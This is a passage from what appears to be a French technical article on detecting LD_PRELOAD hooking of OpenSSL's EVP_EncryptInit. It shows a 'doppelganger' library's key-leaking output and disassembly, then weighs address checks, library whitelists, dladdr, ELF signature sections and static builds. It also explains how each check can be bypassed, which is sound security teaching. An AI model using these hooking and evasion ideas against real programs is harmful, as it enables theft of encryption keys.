Notre fonction EVP_EncryptInit se situe dans la partie exécutable (notez le x dans la deuxième colonne) de notre librairie libcrypto.so qui a été mappée à l'adresse 0x7bc59ceb3000 lorsque l'application a été lancée.

Voyez cela comme un hôtel avec différents étages: chaque étage représente une zone mémoire où se situe la librairie; c’est un peu comme si la librairie avait loué toutes les chambres à cet étage - pour lui et ses “invités”: les chambres représentant ainsi les différentes fonctions de la libcrypto. Ainsi, si votre fonction de libcrypto se trouve à l’étage 5, chambre 505, il suffit d’y aller. Ici, notre étage est 7bc59ceb3000 et numéro de chambre est 7bc59cff98d0

Vu indirectement: si on vous dit que votre chambre - qui se trouverait normalement à l’étage 5 - se trouve maintenant à la chambre 713, donc à un autre étage et une autre pièce, cela ne vous alerterait-il pas ? Voyons comment cela se passe avec notre programme :

Si nous activons notre doppelganger :

$ LD_PRELOAD=./doppelganger.so
0x54 0x68 0x69 0x73 0x49 0x73 0x4d 0x79 0x4d 0x61 0x67 0x69 0x63 0x61
0x6c 0x41 0x6e 0x64 0x48 0x69 0x64 0x64 0x65 0x6e 0x4b 0x65 0x79 0x21
"ThisIsMyMagicalAndHiddenKey!"
main addr               = 0x62d4ea589455
EVP_EncryptInit_ex addr = 0x72f666ff9920 (!)
EVP_EncryptInit addr    = 0x72f6673ee139 (!)
f3 0f 1e fa 55 48 89 e5 48 83 ec 20 48 89 7d f8 48 89 75 f0 48 89 55
e8 48 89 4d e0 48 8d 05 a4 0e 00 00 48 89 c7 e8 fc fe ff ff 48 83 7d
e8 00 74 1e 48 8b

Qu’est-ce que nous constatons ? Notre adresse EVP_EncryptInit a changé, c’est normal. A chaque rechargement, le mapping diffère. Donc notre libcrypto est mappée autre part.

Non, ce qui devrait vous interpeller, c’est que les adresses de EVP_EncryptInit et de EVP_EncryptInit_ex sont maintenant très espacées, alors que dans notre précédent exemple, ils n’étaient séparés que de seulement 0x50 octets.

Autre détail: Hormis la base d’instructions (f3 0f 1e fa), le reste a complètement changé :

Avant Après
f3 0f 1e fa 41 b8 01 00 00 00 e9 81 ff ff ff 90 f3 0f 1e fa 45 31 c0 e9 74 ff ff ff 0f 1f 40 00 f3 0f 1e fa ... f3 0f 1e fa 55 48 89 e5 48 83 ec 20 48 89 7d f8 48 89 75 f0 48 89 55 e8 48 89 4d e0 48 8d 05 a4 0e 00 00 ...

Et pourquoi ? Analysons notre doppelganger.so pour comprendre rapidement :

$ objdump -dr -M intel "doppelganger.so" \
| grep -A23 '<EVP_EncryptInit>:'

0000000000001139 <EVP_EncryptInit>:
    1139:   f3 0f 1e fa            endbr64
    113d:   55                     push rbp
    113e:   48 89 e5               mov  rbp,rsp
    1141:   48 83 ec 20            sub  rsp,0x20
    1145:   48 89 7d f8            mov  QWORD PTR [rbp-0x8],rdi
    1149:   48 89 75 f0            mov  QWORD PTR [rbp-0x10],rsi
    114d:   48 89 55 e8            mov  QWORD PTR [rbp-0x18],rdx
    1151:   48 89 4d e0            mov  QWORD PTR [rbp-0x20],rcx
    1155:   48 8d 05 a4 0e 00 00   lea  rax,[rip+0xea4]        # 2000

Est-ce que vous voyez les ressemblances ? La terminaison de l’adresse est 139 comme pour notre application et les instructions sont 0x55 0x48 0x89 … Notre fonction EVP_EncryptInit_ex a été détournée et est maintenant gérée par notre doppelganger. Nous sommes donc capables, depuis notre application, de déterminer si quelque chose cloche.

Notez que nous prenons EVP_EncryptInit_ex comme référence au hasard parce que nous savons - pour les besoins de cet exemple - que cette fonction n'a pas été détournée, donc nous pouvons voir les différences des adresses entre les deux fonctions qui normalement se trouvent proches (ou au moins dans la même “zone” mémoire avec ses frères et soeurs fonctions). Mais si l’attaquant décide également de détourner cette fonction, les adresses seront de nouveau proche et/ou dans la même “zone” mémoire.

L’idée de faire un checksum des fonctions (en lisant l’ensemble des instructions) peut être une idée attirante. Doit-on utiliser cette technique pour identifier si nos fonctions externes ont été détournées ?

En premier lieu, je ne le vous recommande pas. Pour une simple et bonne raison:

Les empreintes, adresses (et offsets) de vos fonctions (par exemple EVP_EncryptInit) vont changer au cours du temps et de l'espace:

  • Du temps: il suffit que les développeurs de la librairie ajoutent une seule instruction pour que l'empreinte ne soit plus la même du tout. Et cela peut arriver à n'importe quel moment dans le temps où la librairie va être encore maintenue et donc être mise à jour. Les différentes adresses et offsets des fonctions peuvent (et vont) également être modifiées.
  • De l'espace: un compilateur traduit votre code (ici en C) en instruction. Un compilateur A (gcc par exemple) va traduire et également apporter des optimisations à votre code. Un compilateur B (llvm par exemple) va traduire et introduire d'autres types d'optimisations. Imaginez maintenant que vous diffusiez votre programme sur plusieurs plateformes comme Linux, BSD, MacOS et Windows, vous aurez très probablement des librairies compilées avec différentes méthodes produisant ainsi différentes instructions, et donc différentes empreintes.

La seule approche viable pour utiliser cette méthode serait de contrôler aussi les librairies. Et encore : cela s’accompagne de tous les désagréments qui vont avec.

Gardez juste cette méthode dans un coin de votre tête: Il existe sur le marché des outils et des solutions de sécurité utilisant peu ou prou ce genre de méthodes mais de façon différente, par exemple en analysant la mémoire de l'application et en identifiant si des instructions ont été modifiées avant et durant son exécution.

La whitelist des librairies

Le fait de se baser sur un checksum est probablement overkill, mais peut-être pouvons-nous trouver une méthode intermédiaire ? Et pourquoi pas récupérer la liste des librairies chargées ?

Pour cela, nous pouvons utiliser un nouvel ami surnommé dl_iterate_phdr :

#define _GNU_SOURCE
#include <link.h>

int callback(struct dl_phdr_info *info, size_t size, void *data) {
    printf("%s = %p\n", info->dlpi_name, (void *)info->dlpi_addr);
    return 0;
}

int main(void) {
    dl_iterate_phdr(callback, NULL);
    return 0;
}

Et il nous faudra compiler avec un petit -ldl :

$ gcc -Wall example.c -o example \
	`pkg-config --libs --cflags libcrypto libssl` -ldl

Ce qui nous donne :

$ ./example
 = 0x58c31f895000
linux-vdso.so.1 = 0x7ffe2f976000
/lib/x86_64-linux-gnu/libcrypto.so.3 = 0x7f8de1c00000
/lib/x86_64-linux-gnu/libc.so.6 = 0x7f8de1800000
/lib64/ld-linux-x86-64.so.2 = 0x7f8de2315000

Notre callback nous donne les chemins complets et les adresses des différentes librairies chargées en mémoire pour les besoins du programme. Avec cette méthode, nous pourrions donc définir une whitelist des librairies chargées que nous pourrions accepter, et si une librairie étrange apparaît, nous pourrions stopper l'application en amont.

Pour sa totale implémentation, il nous faut une structure de données avec l'ensemble des librairies acceptées en amont du code, des fonctions de vérifications entre cette liste et les occurrences récupérées via dl_iterate_phdr. Mais cette méthode est aussi perfectible pour diverses raisons.

Bref, peut-être qu'il existe une méthode encore plus simple…?

Récupérer les informations via sa fonction

Il existe effectivement une méthode plus simple pour retrouver l'adresse de notre librairie grâce aux fonctions dladdr et son cousin dladdr1. Ces dernières nous permettent de récupérer diverses informations directement en utilisant l'appel de la fonction. Nous n'avons donc plus besoin de faire une itération sur l'ensemble des librairies chargées.

#define _GNU_SOURCE
#include <link.h>
#include <dlfcn.h>
(...)
// DL Info
Dl_info *info = (Dl_info *)malloc(sizeof(Dl_info));
dladdr(EVP_EncryptInit, info);
printf("%s : %p : %s : %p\n", 
	info->dli_fname, info->dli_fbase, 
	info->dli_sname, info->dli_saddr
);

Et si nous exécutons notre programme dans les deux contextes :

$ ./example
/lib/x86_64-linux-gnu/libcrypto.so.3 : 0x753692600000 : EVP_EncryptInit : 0x7536927f98d0

$ LD_PRELOAD=doppelganger.so ./example
./doppelganger.so : 0x70dbad258000 : EVP_EncryptInit : 0x70dbad259139

Tada ! nous voyons que notre EVP_EncryptInit ne provient plus de libcrypto.so mais de doppelganger.so. Il suffirait de faire une simple vérification sur ce résultat (avec un simple if par exemple) pour déterminer une action à faire (arrêter le programme par exemple).

Mais finalement, est-ce que tout ceci nous protège ? Je vais vous décevoir, mais non: L'attaquant peut écraser simplement /lib/x86_64-linux-gnu/libcrypto.so.3 avec son doppelganger (dans une version plus complète que nos 2-3 fonctions, je vous l’accorde), ou bien votre vérification peut-être trop perfectible dans l’analyse du nom et que l’attaquant renomme son doppelganger avec un nom pouvant faire illusion à cette analyse.

Cela ne change donc rien à notre petit système de vérification: échec et mat en notre défaveur.

Signer nos librairies (et nos binaires) ?

Avant de conclure, nous allons couvrir rapidement la possibilité de signature.

A l’heure actuelle, il n’existe pas de méthode officielle pour signer les applications sous Linux (hormis des prototypes comme elfsign). Mais rien ne nous empêche d’avoir des idées sur de possibles implémentations.

Avec le format ELF, il est possible de rajouter une section. Voyez une section comme une couche dans un sandwich. Chaque couche a une fonctionnalité particulière. Celles que vous voyez habituellement sont normées. Mais rien n’empêche de créer nos propres sections.

Imaginons un scénario où nous allons stocker des données dans une section au sein même de notre binaire (programme ou librairie, peu importe) :

$ echo "HELLO WORLD" > signature.txt

$ objcopy --add-section .signature=signature.txt example

$ readelf --section-headers example
  (...)
  [26] .comment          PROGBITS         0000000000000000  00003018
       000000000000002b  0000000000000001  MS       0     0     1
  [27] .signature        PROGBITS         0000000000000000  00003043
       000000000000000c  0000000000000000           0     0     1
  [28] .symtab           SYMTAB           0000000000000000  00003050
       00000000000002d0  0000000000000018          29    20     8
  (...)

$ readelf -x .signature example
  Hex dump of section '.signature':
    0x00000000 48454c4c 4f20574f 524c440a          HELLO WORLD.

Nous voyons que notre section “signature” a été intégrée à notre binaire. Avec cette méthode, nous pouvons imaginer stocker des éléments comme de la cryptographie (autre qu’un simple helloworld bien évidemment :) et ainsi vérifier si notre programme ou les librairies ont été modifiés. Mais cela est en dehors du scope de notre article (il nous faudrait un chapitre entier, voire deux…)

De par cette méthode, nous pourrions imaginer que, dès le lancement du programme, ce dernier lise la section signature des différentes librairies et du programme, puis effectue diverses vérifications cryptographiques.

Ceci dit, dans l’absolu, rien n'empêche l'attaquant d’étudier et de patcher directement le binaire du programme et de remplacer une instruction de JMP conditionnel (ex. JZ, JE, etc...) par une autre instruction pour casser la vérification ou la protection. Il faudrait voir différemment pour protéger un binaire et sa signature.

Un moyen sécurisé serait d’intégrer une vérification des signatures au sein même du kernel. Ainsi, si un programme est exécuté, le kernel va se charger de lire les bonnes sections puis de procéder aux vérifications d’usages et de décider si oui ou non, il procède au chargement des librairies et du programme, et enfin à son exécution.

Le static, c’est fantastique ?

Pour éviter nos désagréments avec nos librairies, nous pouvons utiliser une technique relativement simple: compiler en statique ! Et voilà ! tous vos problèmes de librairies seront résolus... Et c'est à ce moment que je vois certains confrères et consoeurs froncer des sourcils [insérer gif air suspicieux: serious or not].

Effectivement, compiler en statique ne fait que reporter le problème également (ou cacher sous le tapis, selon le point de vue).

Comme annoncé auparavant : même compilé, le comportement d'un programme est toujours étudiable, modifiable et donc détournable. En statique, un programme est également soumis à cette règle.

Que ce soit en soft: en modifiant les instructions directement en mémoire, par exemple via des buffer overflow et des shellcodes. Ou en dur: en modifiant les instructions directement dans le binaire: rappelez-vous qu’il existe des patchs binaires pour modifier le "comportement" (*petite toux*) de certains jeux ou programmes propriétaires. Patchs aussi appelés "crack" dans certains milieux non autorisés. Ces petits fichiers (ou programmes) intégrant la méthode de cracking que vous avez probablement dû utiliser une fois dans votre vie pour cracker un logiciel ou un jeu.

Conclusion

Est-ce qu'il existe une méthode pour protéger nos programmes ?

TLDR: Pas vraiment.

Les différentes méthodes étudiées ici permettent juste de repousser les attaques plus loin mais jamais de s'en protéger totalement, il suffit d'un sachant pour bypasser chaque méthode présentée. Vos binaires sont analysables en état. Un grand sage disait "tous les logiciels sont open source quand ils sont désassemblés" :)

Pour ces différentes raisons observées, certains fournisseurs de solutions se tournent vers des solutions hardwares. Une analyse possible est repoussée au niveau matériel. Les analystes capables d’étudier et de trouver des failles dans ce contexte sont plus réduits mais aucunement manquants. Il suffit pour cela de voir ce qu’il se passe quand une console sort, le software est attaqué et également le hardware. Les deux pouvant être des surfaces d’attaques potentielles.

C’est donc une fuite vers l’avant, une course sans fin entre les programmeurs et les attaquants où les premiers gagnent temporairement. Le tout est de connaître la limite de temps avant qu’une protection ne cède.


Footnotes